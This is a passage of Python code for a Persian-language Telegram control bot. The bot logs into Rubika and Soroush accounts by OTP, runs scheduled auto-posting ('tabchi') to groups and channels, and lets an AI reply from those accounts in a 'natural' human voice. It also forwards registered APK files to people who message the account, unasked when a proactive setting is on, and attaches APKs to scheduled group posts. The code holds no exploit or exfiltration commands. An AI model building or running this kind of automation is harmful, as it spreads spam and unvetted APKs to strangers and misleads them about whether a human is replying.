        [("🔴 خاموش کردن AI" if is_on else "🟢 روشن کردن AI", "ai.tog", "danger" if is_on else "success")],
        [("🧠 دانش محصول", "ai.kb", "primary"), ("📝 پرامپت کمپین", "ai.prompt", "primary")],
        [("🎭 لحن پاسخ", "ai.tone", "primary"), ("📊 آمار AI", "ai.stats", "primary")],
        [(f"🔗 اتصال AI به اکانت ({bindings})", "ai.bindings", "success")],
        [("💬 پاسخ خودکار PV", "ai.pv", "primary"), ("📣 تبچی", "ai.group", "primary")],
        [("📰 فعالیت چنل", "ai.channel", "primary"), (f"⏱ تسک‌های زمان‌بندی ({tasks})", "ai.tasks", "primary")],
        [(f"🎯 دانش: {'آماده' if kb_ok else 'خالی'} | پرامپت: {'آماده' if prompt_ok else 'خالی'}", "ai.info", "primary")],
        [("🏠 خانه", "menu", "primary")],
    ])

# -------------------------------------------------------------------
# 4) Robust Rubika OTP.
#    rulog 1.0.3 documents a synchronous Client.sendCode("android", ...)
#    followed by a Web fallback. Keep the same client/session for the full
#    request path and retry the exact failing call once for OSError 5.
# -------------------------------------------------------------------
async def rubika_send_code_v12(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is None:
            raise RuntimeError("rulog.Client is unavailable")
    except Exception as e:
        return False, _mask(str(e))

    number = _trx_phone_98digits(phone)
    rc = RulogClient()
    errors = []

    async def call_send(platform, send_type=False):
        fn = getattr(rc, "sendCode", None)
        if fn is None:
            raise RuntimeError("rulog.Client.sendCode is unavailable")
        kwargs = {"send_type": True} if send_type else {}
        try:
            return await asyncio.to_thread(fn, platform, number, **kwargs)
        except OSError as e:
            if getattr(e, "errno", None) != 5:
                raise
            await asyncio.sleep(0.25)
            # A direct retry avoids a second worker thread / descriptor state.
            return fn(platform, number, **kwargs)

    for platform, send_type in (("android", True), ("web", False)):
        try:
            result = await call_send(platform, send_type)
            data = result.get("data") if isinstance(result, dict) else None
            if not isinstance(data, dict):
                data = {}
            phone_hash = data.get("phone_code_hash") or data.get("phoneCodeHash")
            status = str(result.get("status", "")) if isinstance(result, dict) else ""
            if phone_hash and (status.upper() in {"OK", "SUCCESS", "200", ""}):
                active_clients[uid] = {
                    "client": None,
                    "rulog": rc,
                    "service": "rubika",
                    "phone": number,
                    "phone_input": phone,
                    "hash": phone_hash,
                    "otp_platform": platform,
                    "created_at": time.time(),
                    "connected": False,
                }
                log.info(f"[{uid}] Rubika OTP requested via rulog/{platform}")
                return True, result
            errors.append(f"{platform}: {str(result)[:300]}")
        except Exception as e:
            errors.append(f"{platform}: {type(e).__name__}: {e}")
            log.warning(f"[{uid}] Rubika {platform} sendCode failed: {e}")

    detail = " | ".join(errors)[:700] or "no response from Rubika login service"
    return False, f"Rubika OTP failed: {detail}"


async def rubika_verify_v12(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "rubika" or not info.get("rulog"):
        return False, "no pending Rubika login"
    rc = info["rulog"]
    platform = info.get("otp_platform", "android")
    number = info.get("phone") or _trx_phone_98digits(info.get("phone_input", ""))
    phone_hash = info.get("hash")
    try:
        sign = getattr(rc, "signIn", None) or getattr(rc, "sign_in", None)
        if sign is None:
            raise RuntimeError("Rubika login method is unavailable")
        variants = [
            ((platform, number, phone_hash, code), {}),
            ((number, phone_hash, code), {}),
            ((number, code), {"phone_code_hash": phone_hash}),
        ]
        result = None
        last = None
        for args, kwargs in variants:
            try:
                result = sign(*args, **kwargs)
                if asyncio.iscoroutine(result):
                    result = await result
                break
            except TypeError as e:
                last = e
        if result is None:
            raise last or RuntimeError("Rubika signIn returned no result")
        data = result.get("data") if isinstance(result, dict) else result
        if isinstance(data, dict):
            auth = data.get("auth") or data.get("Auth")
            key = data.get("key") or data.get("Key")
            if auth and key:
                session_value = json.dumps({"auth": auth, "key": key}, ensure_ascii=False)
            else:
                session_value = json.dumps(data, ensure_ascii=False)
        else:
            session_value = str(result)
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "rubika", info.get("phone_input") or info.get("phone") or number, session_value, "online", now())
        )
        aid = cur.lastrowid
        client = None
        try:
            from rubpy import Client as RubpyClient
            auth_data = json.loads(session_value) if session_value.strip().startswith("{") else {}
            auth = auth_data.get("auth") or auth_data.get("Auth")
            key = auth_data.get("key") or auth_data.get("Key")
            if auth and key:
                client = RubpyClient(
                    os.path.join(SESS_DIR, f"rubika_{uid}"),
                    auth=str(auth), private_key=key,
                    phone_number=info.get("phone_input") or info.get("phone") or number,
                    platform="Android",
                )
                await _trx_connect_client(client)
        except Exception as e:
            log.warning(f"[{uid}] Rubika post-login client restore failed: {e}")
        if client is not None:
            ai_live_clients[(uid, aid)] = client
            active_clients[uid].update({"client": client, "connected": True, "account_id": aid})
            _register_ai_handler(client, uid, "rubika", aid)
        log_account_activity(aid, uid, "login", "rubika", 1)
        log_event(uid, "ACCOUNT_ADDED", "rubika")
        return True, result
    except Exception as e:
        log.error(f"[{uid}] Rubika verify v12: {e}")
        return False, str(e)


SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v12),
    "verify": rubika_verify_v12,
}

# -------------------------------------------------------------------
# 5) APK source capture for Soroush/others.
#    The key fix is to call the library's native get_reply_message() first,
#    and to register /id independently of the AI binding state.
# -------------------------------------------------------------------
async def _trx110_get_reply_message(client, event):
    getter = getattr(event, "get_reply_message", None)
    if getter is not None:
        try:
            result = getter()
            return await _trx_maybe_await(result)
        except Exception as e:
            log.debug(f"native get_reply_message failed: {e}")

    reply_id = getattr(event, "reply_to_msg_id", None) or getattr(event, "reply_to_message_id", None)
    if reply_id is None:
        reply_obj = getattr(event, "reply_to", None) or getattr(getattr(event, "message", None), "reply_to", None)
        reply_id = (
            getattr(reply_obj, "reply_to_msg_id", None)
            or getattr(reply_obj, "message_id", None)
            or (getattr(reply_obj, "id", None) if reply_obj is not None and not isinstance(reply_obj, (int, str)) else reply_obj)
        )
    if reply_id is None:
        return None

    # Last-resort client-level fetchers used by the older build.
    getter = getattr(client, "get_messages", None) or getattr(client, "get_message", None) or getattr(client, "get_messages_by_id", None)
    if getter is None:
        return None
    candidates = [
        (("me",), {"ids": reply_id}),
        (("me",), {"id": reply_id}),
        (("me", reply_id), {}),
        ((reply_id,), {}),
    ]
    for args, kwargs in candidates:
        try:
            result = getter(*args, **kwargs)
            result = await _trx_maybe_await(result)
            if isinstance(result, (list, tuple)):
                return result[0] if result else None
            return result
        except Exception:
            continue
    return None


def _trx110_apk_meta(message):
    if message is None:
        return None
    candidates = [
        message,
        getattr(message, "file", None),
        getattr(message, "document", None),
        getattr(message, "media", None),
    ]
    seen = set()
    queue = list(candidates)
    while queue:
        obj = queue.pop(0)
        if obj is None or id(obj) in seen:
            continue
        seen.add(id(obj))
        if isinstance(obj, dict):
            name = obj.get("file_name") or obj.get("filename") or obj.get("name")
            mime = str(obj.get("mime_type") or obj.get("mime") or "").lower()
            size = obj.get("file_size") or obj.get("size") or 0
            if name or mime == "application/vnd.android.package-archive":
                name = str(name or "app.apk")
                if name.lower().endswith(".apk") or mime == "application/vnd.android.package-archive":
                    return {"filename": name, "size": int(size or 0)}
            for key in ("file", "document", "media", "attachment", "message", "data"):
                child = obj.get(key)
                if child is not None:
                    queue.append(child)
            continue
        name = getattr(obj, "file_name", None) or getattr(obj, "filename", None) or getattr(obj, "name", None)
        mime = str(getattr(obj, "mime_type", None) or getattr(obj, "mime", None) or "").lower()
        size = getattr(obj, "file_size", None) or getattr(obj, "size", None) or 0
        if name or mime == "application/vnd.android.package-archive":
            name = str(name or "app.apk")
            if name.lower().endswith(".apk") or mime == "application/vnd.android.package-archive":
                return {"filename": name, "size": int(size or 0)}
        for key in ("file", "document", "media", "attachment", "message", "data"):
            try:
                child = getattr(obj, key, None)
            except Exception:
                child = None
            if child is not None:
                queue.append(child)
    return None


def _trx110_reply_id(message):
    if message is None:
        return None
    value = getattr(message, "id", None) or getattr(message, "message_id", None)
    if value is not None:
        return value
    if isinstance(message, dict):
        return message.get("id") or message.get("message_id")
    return None


_TRX110_APK_SEEN_EVENTS = set()

async def _trx110_register_apk(uid, aid, service, client, event):
    text_value = _trx_extract_event_text(event).strip().lower()
    if text_value not in {"/id", "/id@trx", "/id@trxbot"}:
        return False
    if not (getattr(event, "is_me", False) or getattr(event, "out", False)):
        return False

    reply_msg = await _trx110_get_reply_message(client, event)
    meta = _trx110_apk_meta(reply_msg)
    if not meta:
        return False

    name = meta["filename"][:255]
    if not name.lower().endswith(".apk"):
        return False

    reply_id = _trx110_reply_id(reply_msg)
    if reply_id is None:
        return False

    _trx_enforce_apk_limit(uid)
    count = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    event_key = (int(uid), int(aid), str(reply_id))
    if event_key in _TRX110_APK_SEEN_EVENTS:
        return True
    _TRX110_APK_SEEN_EVENTS.add(event_key)
    if len(_TRX110_APK_SEEN_EVENTS) > 8000:
        _TRX110_APK_SEEN_EVENTS.clear()

    existing = db.fetchone(
        "SELECT af.id FROM apk_files af JOIN apk_sources s ON s.apk_id=af.id "
        "WHERE af.user_id=? AND s.account_id=? AND s.source_message_id=? AND af.enabled=1",
        (uid, aid, str(reply_id)),
    )
    if existing:
        current = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
        await _trx110_self_notice(client, service, f"✅ این APK قبلاً ذخیره شده\n🔢 {current} از {MAX_APK_PER_USER}\n📦 {name}")
        return True
    if count >= MAX_APK_PER_USER:
        await _trx110_self_notice(
            client,
            service,
            f"⚠️ ظرفیت APK کامل است\n🔢 {MAX_APK_PER_USER} از {MAX_APK_PER_USER}\nبرای افزودن فایل جدید، یکی از APKهای قبلی را از پنل مدیریت غیرفعال کنید",
        )
        return True

    cur = db.execute(
        "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) VALUES(?,?,?,?,?,1,?)",
        (uid, "", int(reply_id), name, int(meta.get("size") or 0), now()),
    )
    apk_id = cur.lastrowid
    self_peer = await _trx_self_peer(client)
    db.execute(
        "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
        (apk_id, aid, service, str(self_peer), str(reply_id), now()),
    )
    current = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    log_event(uid, "APK_ADDED", f"{service}:{name}")
    log_account_activity(aid, uid, "apk_register", f"{name}:{reply_id}", 1)
    size_kb = max(1, int(meta.get("size") or 0) // 1024) if meta.get("size") else 0
    size_line = f"\n💾 {size_kb:,} KB" if size_kb else ""
    await _trx110_self_notice(
        client,
        service,
        f"✅ APK با موفقیت ذخیره شد\n\n📦 {name}\n🔢 {current} از {MAX_APK_PER_USER}{size_line}\n\nاز بخش مدیریت APK می‌توانید فایل‌های ثبت‌شده را ببینید",
    )
    return True


async def _trx110_self_notice(client, service, text_value):
    try:
        await _trx_send_self_message(client, "me", text_value)
        return True
    except Exception as e:
        log.warning(f"APK confirmation send failed on {service}: {e}")
        # Some clients address Saved/Self with another peer alias.
        for target in ("self", "me"):
            try:
                send = getattr(client, "send_message", None)
                if send:
                    result = send(target, text_value)
                    await _trx_maybe_await(result)
                    return True
            except Exception:
                continue
    return False


_trx_register_apk_from_self_event_v11 = _trx110_register_apk
_trx_register_apk_from_self_event = _trx110_register_apk

# -------------------------------------------------------------------
# 6) Attach APK /id listener independently from AI state.
# -------------------------------------------------------------------
_TRX110_APK_HANDLER_KEYS = set()


def _trx110_attach_apk_handler(client, uid, service, aid):
    key = (uid, aid, id(client))
    if key in _TRX110_APK_HANDLER_KEYS:
        return True

    async def apk_handler(event):
        try:
            await _trx110_register_apk(uid, aid, service, client, event)
        except Exception as e:
            log.error(f"APK handler {service}/{aid}: {e}")

    # Soroush / Telethon-like event system.
    if service == "soroush":
        try:
            from splusthon import events as ev
            on = getattr(client, "on", None)
            if on and hasattr(ev, "NewMessage"):
                dec = on(ev.NewMessage)
                dec(apk_handler)
                _TRX110_APK_HANDLER_KEYS.add(key)
                return True
        except Exception as e:
            log.warning(f"Soroush APK handler attach failed: {e}")
    # Rubika variants.
    for method_name in ("on_message_updates", "on_message"):
        try:
            fn = getattr(client, method_name, None)
            if not fn:
                continue
            try:
                dec = fn()
                dec(apk_handler)
            except TypeError:
                result = fn(apk_handler)
                if callable(result):
                    try:
                        result(apk_handler)
                    except TypeError:
                        pass
            _TRX110_APK_HANDLER_KEYS.add(key)
            return True
        except Exception:
            continue
    # Generic event API.
    try:
        on = getattr(client, "on", None)
        if on:
            result = on(apk_handler)
            if callable(result):
                try:
                    result(apk_handler)
                except TypeError:
                    pass
            _TRX110_APK_HANDLER_KEYS.add(key)
            return True
    except Exception:
        pass
    return False


_TRX110_REGISTER_AI_BEFORE = _register_ai_handler

def _register_ai_handler(client, uid: int, service: str, account_id: Optional[int] = None):
    aid = account_id or _account_id_for(uid, service)
    if not aid or client is None:
        return False
    apk_ok = _trx110_attach_apk_handler(client, uid, service, aid)
    try:
        ai_ok = bool(_TRX110_REGISTER_AI_BEFORE(client, uid, service, aid))
    except Exception as e:
        log.warning(f"AI handler after APK attach failed: {e}")
        ai_ok = False
    return bool(apk_ok or ai_ok)

# -------------------------------------------------------------------
# 7) Final APK manager inside the Telegram bot.
# -------------------------------------------------------------------
def _trx110_apk_panel_text(uid, lang):
    rows = db.fetchall(
        "SELECT af.*,src.account_id,src.platform FROM apk_files af "
        "LEFT JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 ORDER BY af.id ASC",
        (uid,),
    )
    count = len(rows)
    if str(lang).lower().startswith("en"):
        lines = [
            f"📦 **APK Manager**\n\nActive files: **{count} / {MAX_APK_PER_USER}**",
            "Send an APK through a connected account and reply `/id` to register it.\n",
        ]
        for i, r in enumerate(rows, 1):
            platform = str(r["platform"] or "unknown").title()
            lines.append(f"{i}. 📦 {r['file_name']}\n   • {platform} • source message {r['message_id']}")
        if not rows:
            lines.append("No APK is registered yet")
        return "\n".join(lines)
    lines = [
        f"📦 **مدیریت APK**\n\nفایل‌های فعال: **{count} از {MAX_APK_PER_USER}**",
        "فایل را از بخش Saved/Self اکانت متصل بفرست و روی همان فایل `/id` ریپلای کن تا ثبت شود.\n",
    ]
    for i, r in enumerate(rows, 1):
        platform = str(r["platform"] or "نامشخص").upper()
        lines.append(f"{i}. 📦 {r['file_name']}\n   • {platform} • پیام منبع {r['message_id']}")
    if not rows:
        lines.append("هنوز APK فعالی ثبت نشده است")
    return "\n".join(lines)


def _trx110_apk_panel_kb(uid, lang):
    rows = db.fetchall("SELECT id,file_name FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id ASC", (uid,))
    btns = []
    for i, r in enumerate(rows, 1):
        label = f"📦 {i}/{MAX_APK_PER_USER} · {str(r['file_name'])[:28]}"
        btns.append([(label, f"apk.pick:{r['id']}", "success")])
        btns.append([((f"🗑 Disable {i}" if str(lang).startswith("en") else f"🗑 غیرفعال کردن {i}"), f"apk.disable:{r['id']}", "danger")])
    btns.append([(("↩️ Back" if str(lang).startswith("en") else "↩️ بازگشت"), "menu", "primary")])
    return IKB(btns)

# -------------------------------------------------------------------
# 8) Robust group/channel target workflow.
#    Store the exact link/id immediately, then resolve at send time as needed.
#    This avoids dropping valid URLs just because a resolver cannot handle
#    one platform's URL format during configuration.
# -------------------------------------------------------------------
def _trx110_normalize_digits(value):
    table = str.maketrans("۰۱۲۳۴۵۶۷۸۹٠١٢٣٤٥٦٧٨٩", "01234567890123456789")
    return str(value or "").translate(table)


def _trx110_target_value(value):
    raw = str(value or "").strip()
    raw = raw.strip(" \t\r\n،,؛;）)]}>")
    if len(raw) > 500:
        return None
    if not raw:
        return None
    if raw.startswith("/") and not raw.startswith("https://") and not raw.startswith("http://"):
        return None
    return raw


def _trx110_task_prompt(lang, task_kind):
    if str(lang).lower().startswith("en"):
        return (
            "📍 Send the target group link, channel link, username or ID.\n"
            "The connected account must have permission to post there.\n\n"
            "Examples: https://example/...  •  @channel  •  target ID"
            if task_kind == "group" else
            "📰 Send the target channel link, username or ID.\n"
            "The connected account must be able to publish there."
        )
    return (
        "📍 لینک، آیدی یا نام کاربری گروه هدف را بفرستید.\n"
        "اکانت متصل باید اجازه ارسال در گروه را داشته باشد."
        if task_kind == "group" else
        "📰 لینک، آیدی یا نام کاربری کانال هدف را بفرستید.\n"
        "اکانت متصل باید اجازه انتشار در کانال را داشته باشد."
    )


_TRX110_ON_MSG_BEFORE = on_msg

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
            lang = u["lang"] or "fa"
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)
            mode = s.get("mode") if s else None

            if s and s.get("state") == State.AI_TASK_TARGET and mode in {"group_task", "channel_task"}:
                target = _trx110_target_value(txt)
                if target is None:
                    return await bot.send(
                        chat_id,
                        "❌ لینک یا شناسه هدف معتبر نیست\n\n" + _trx110_task_prompt(lang, s.get("task_kind", "group")),
                        reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]),
                    )
                state.set(
                    uid,
                    State.AI_TASK_INTERVAL,
                    **{k: v for k, v in s.items() if k not in {"state", "at"}},
                    target=target,
                    step="interval",
                )
                prompt = (
                    "⏱ Send the interval in minutes. Minimum 7 minutes\nExample: 10"
                    if str(lang).lower().startswith("en") else
                    "⏱ فاصله ارسال را به دقیقه وارد کنید\nحداقل ۷ دقیقه. مثال: 10"
                )
                return await bot.send(chat_id, prompt, reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

            if s and s.get("state") == State.AI_TASK_INTERVAL and mode in {"group_task", "channel_task"}:
                normalized = _trx110_normalize_digits(txt)
                if not re.fullmatch(r"\d{1,5}", normalized):
                    return await bot.send(chat_id, "❌ فقط یک عدد دقیقه وارد کنید، مثل 10")
                minutes = int(normalized)
                if minutes < TRX_MIN_TASK_MINUTES:
                    return await bot.send(chat_id, f"⚠️ حداقل فاصله {TRX_MIN_TASK_MINUTES} دقیقه است")
                state.set(
                    uid,
                    State.AI_TASK_APK,
                    **{k: v for k, v in s.items() if k not in {"state", "at"}},
                    interval_seconds=minutes * 60,
                    step="apk",
                )
                prompt = (
                    "📦 Attach a registered APK with scheduled posts?\nReply yes or no"
                    if str(lang).lower().startswith("en") else
                    "📦 کنار پست زمان‌بندی‌شده APK ثبت‌شده هم ارسال شود؟\nبله یا خیر"
                )
                return await bot.send(chat_id, prompt, reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

            if s and s.get("state") == State.AI_TASK_APK and mode in {"group_task", "channel_task"}:
                val = txt.lower().strip()
                if val not in {"yes", "no", "بله", "خیر", "نه"}:
                    return await bot.send(chat_id, "❌ فقط yes/no یا بله/خیر وارد کنید")
                send_apk = val in {"yes", "بله"}
                aid = int(s["account_id"])
                apk = _trx_apk_pick(uid, aid) if send_apk else None
                if send_apk and not apk:
                    msg_text = (
                        "❌ No APK is registered for this account. Register one with /id first"
                        if str(lang).lower().startswith("en") else
                        "❌ برای این اکانت APK مرجعی با /id ثبت نشده است\nاول APK را ثبت کنید و دوباره هدف را تنظیم کنید"
                    )
                    return await bot.send(chat_id, msg_text)
                task_type = "channel" if mode == "channel_task" else "group"
                payload = {"send_apk": bool(send_apk), "apk_id": int(apk["id"]) if apk else None}
                created = now()
                db.execute(
                    "INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json,last_run) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                    (
                        uid, aid, task_type, s["target"], int(s["interval_seconds"]), "", 1,
                        created, created, json.dumps(payload, ensure_ascii=False), created,
                    ),
                )
                state.pop(uid)
                if str(lang).lower().startswith("en"):
                    message = (
                        f"✅ {('Channel Activity' if task_type == 'channel' else 'Tabchi')} saved\n\n"
                        f"🎯 Target: {s['target']}\n"
                        f"⏱ Every {int(s['interval_seconds']) // 60} minutes\n"
                        f"📦 APK: {'yes' if send_apk else 'no'}\n\n"
                        "The schedule is active and will use the selected account"
                    )
                else:
                    message = (
                        f"✅ {'فعالیت چنل' if task_type == 'channel' else 'تبچی'} ثبت شد\n\n"
                        f"🎯 هدف: {s['target']}\n"
                        f"⏱ هر {int(s['interval_seconds']) // 60} دقیقه\n"
                        f"📦 APK: {'بله' if send_apk else 'خیر'}\n\n"
                        "تنظیمات ذخیره شد و از همین اکانت استفاده می‌شود"
                    )
                return await bot.send(chat_id, message, reply_markup=ai_advanced_menu(lang, uid))
    except Exception as e:
        log.error(f"TRX110 task router: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX110_ON_MSG_BEFORE(msg)

# -------------------------------------------------------------------
# 9) Final dispatcher for renamed sections + APK manager + toggle truth.
# -------------------------------------------------------------------
_TRX110_DISPATCH_BEFORE = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        if data == "apk":
            text_value = _trx110_apk_panel_text(uid, lang)
            return await _edit(chat_id, msg_id, text_value, _trx110_apk_panel_kb(uid, lang))

        if data.startswith("apk.disable:"):
            apk_id = int(data.split(":", 1)[1])
            db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (apk_id, uid))
            return await _edit(chat_id, msg_id, _trx110_apk_panel_text(uid, lang), _trx110_apk_panel_kb(uid, lang))

        if data.startswith("apk.pick:"):
            apk_id = int(data.split(":", 1)[1])
            row = db.fetchone("SELECT * FROM apk_files WHERE id=? AND user_id=? AND enabled=1", (apk_id, uid))
            if not row:
                return await _edit(chat_id, msg_id, "❌ APK not found" if str(lang).startswith("en") else "❌ APK پیدا نشد", _trx110_apk_panel_kb(uid, lang))
            db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (f"default_apk:{uid}", apk_id))
            message = (
                f"✅ APK selected\n\n📦 {row['file_name']}\n🔢 {apk_id}"
                if str(lang).startswith("en") else
                f"✅ APK انتخاب شد\n\n📦 {row['file_name']}\n🔢 شناسه {apk_id}"
            )
            return await _edit(chat_id, msg_id, message, _trx110_apk_panel_kb(uid, lang))

        if data == "ai.group":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns = [[(f"#{r['id']} — {_trx_service_name(lang, r['service'])}", f"ai.task.account:group:{r['id']}", "primary")] for r in rows]
            btns.append([(("↩️ Back" if str(lang).startswith("en") else "↩️ بازگشت"), "ai", "primary")])
            title = (
                "📣 **Tabchi**\n\nChoose the connected account, then send the target group link or ID. The account must have permission to post there."
                if str(lang).startswith("en") else
                "📣 **تبچی**\n\nاکانت ارسال‌کننده را انتخاب کنید، بعد لینک یا آیدی گروه هدف را بفرستید. اکانت باید اجازه ارسال در آن گروه را داشته باشد."
            )
            return await _edit(chat_id, msg_id, title, IKB(btns))

        if data == "ai.channel":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns = [[(f"#{r['id']} — {_trx_service_name(lang, r['service'])}", f"ai.task.account:channel:{r['id']}", "primary")] for r in rows]
            btns.append([(("↩️ Back" if str(lang).startswith("en") else "↩️ بازگشت"), "ai", "primary")])
            title = (
                "📰 **Channel Activity**\n\nChoose the connected account, then send the target channel link, username or ID. The account must be able to publish there."
                if str(lang).startswith("en") else
                "📰 **فعالیت چنل**\n\nاکانت را انتخاب کنید، بعد لینک، آیدی یا نام کاربری کانال هدف را بفرستید. اکانت باید اجازه انتشار در کانال را داشته باشد."
            )
            return await _edit(chat_id, msg_id, title, IKB(btns))

        if data.startswith("ai.task.account:group:") or data.startswith("ai.task.account:channel:"):
            parts = data.split(":")
            kind, aid = parts[-2], int(parts[-1])
            a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
            if not a:
                return await _edit(chat_id, msg_id, "❌ Account not found" if str(lang).startswith("en") else "❌ اکانت پیدا نشد", ai_advanced_menu(lang, uid))
            client = await _ensure_ai_client(uid, aid)
            if not client:
                return await _edit(chat_id, msg_id, "⚠️ Account session is not connected" if str(lang).startswith("en") else "⚠️ نشست اکانت در دسترس نیست", ai_advanced_menu(lang, uid))
            state.set(uid, State.AI_TASK_TARGET, mode=f"{kind}_task", task_kind=kind, account_id=aid, step="target")
            return await _edit(
                chat_id,
                msg_id,
                _trx110_task_prompt(lang, kind),
                IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]),
            )

        if data.startswith("ai.bind.toggle:"):
            aid = int(data.split(":", 1)[1])
            row = db.fetchone("SELECT enabled,auto_reply_pv,auto_reply_group FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
            if row is None:
                ok, _ = await _trx_enable_ai_binding(uid, aid, pv=1)
                if not ok:
                    return await _edit(chat_id, msg_id, "❌ Account not found" if str(lang).startswith("en") else "❌ اکانت پیدا نشد", _ai_platform_kb())
                new_state = True
            else:
                new_state = not bool(row["enabled"])
                if new_state:
                    await _trx_enable_ai_binding(uid, aid, pv=bool(row["auto_reply_pv"]), group=bool(row["auto_reply_group"]))
                else:
                    db.execute("UPDATE ai_bindings SET enabled=0,updated_at=? WHERE user_id=? AND account_id=?", (now(), uid, aid))
            label = "AI enabled" if new_state else "AI disabled"
            fa = "هوش مصنوعی روشن شد" if new_state else "هوش مصنوعی خاموش شد"
            return await _edit(chat_id, msg_id, ("✅ " + label) if str(lang).startswith("en") else ("✅ " + fa), ai_manage_kb(aid, lang))

        if data.startswith("ai.bind.pv:"):
            aid = int(data.split(":", 1)[1])
            row = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
            desired = 0 if row and row["auto_reply_pv"] else 1
            ok, _ = await _trx_enable_ai_binding(uid, aid, pv=desired, group=(row["auto_reply_group"] if row else 0))
            text_value = "✅ Private replies enabled" if desired else "✅ Private replies disabled"
            if not str(lang).startswith("en"):
                text_value = "✅ پاسخ خودکار PV روشن شد" if desired else "✅ پاسخ خودکار PV خاموش شد"
            return await _edit(chat_id, msg_id, text_value, ai_manage_kb(aid, lang))

        if data.startswith("ai.bind.group:"):
            aid = int(data.split(":", 1)[1])
            row = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
            desired = 0 if row and row["auto_reply_group"] else 1
            ok, _ = await _trx_enable_ai_binding(uid, aid, pv=(row["auto_reply_pv"] if row else 1), group=desired)
            text_value = "✅ Group reply enabled" if desired else "✅ Group reply disabled"
            if not str(lang).startswith("en"):
                text_value = "✅ پاسخ گروه روشن شد" if desired else "✅ پاسخ گروه خاموش شد"
            return await _edit(chat_id, msg_id, text_value, ai_manage_kb(aid, lang))

    except Exception as e:
        log.error(f"TRX110 dispatch: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX110_DISPATCH_BEFORE(cb_id, uid, lang, u, chat_id, msg_id, data)

# -------------------------------------------------------------------
# 10) APK-aware live handler.
#     Explicit APK requests work even when AI text replies are disabled. The
#     existing proactive behavior remains limited to the same inbound private
#     conversation, not a broadcast to every private/group chat.
# -------------------------------------------------------------------
async def _trx_event_handler_v11(event, uid: int, service: str, aid: int):
    try:
        client = ai_live_clients.get((uid, aid))

        # /id belongs to account automation, not AI state. Handle it first.
        if client and await _trx110_register_apk(uid, aid, service, client, event):
            return

        text_value = _trx_extract_event_text(event)
        if not text_value or text_value.startswith("/trx"):
            return

        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        apk = _trx_apk_pick(uid, aid)
        asked_apk = _trx_apk_intent(text_value)

        # A direct incoming request for the APK has priority over AI text state.
        if private and apk and (asked_apk or (TRX_PROACTIVE_APK_PV and not _trx_apk_delivered(uid, aid, _trx_peer_key(event, f"{service}:{aid}"), int(apk["id"])) )):
            target = await _trx_event_chat_id(event)
            peer_key = _trx_peer_key(event, f"{service}:{aid}")
            ok, _ = await _trx_forward_source_apk_v11(uid, aid, target, int(apk["id"]))
            if ok:
                _trx_mark_apk_delivered(uid, aid, peer_key, int(apk["id"]))
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", "[APK forwarded]")
                log_account_activity(aid, uid, "apk_forward", peer_key, 1)
                return

        binding = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        if not binding or not binding["enabled"]:
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        lock = _trx_live_lock((uid, aid, peer_key))
        async with lock:
            ev_key = f"{peer_key}:{getattr(event, 'id', getattr(event, 'message_id', ''))}:{text_value[:80]}"
            if ev_key in _TRX_LIVE_SEEN:
                return
            _TRX_LIVE_SEEN[ev_key] = time.time()
            await asyncio.sleep(TRX_REPLY_DELAY_SECONDS)
            await _trx_maybe_mark_seen(client, event)
            memory = _trx_memory_load(uid, aid, peer_key, 12)
            extra = f"Conversation peer key: {peer_key}. Keep replies natural and concise."
            mode = "private_reply" if private else "group_reply"
            messages = [{"role": "system", "content": _trx_ai_system(uid, aid, mode, extra)}]
            messages.extend(memory)
            messages.append({"role": "user", "content": text_value[:2500]})
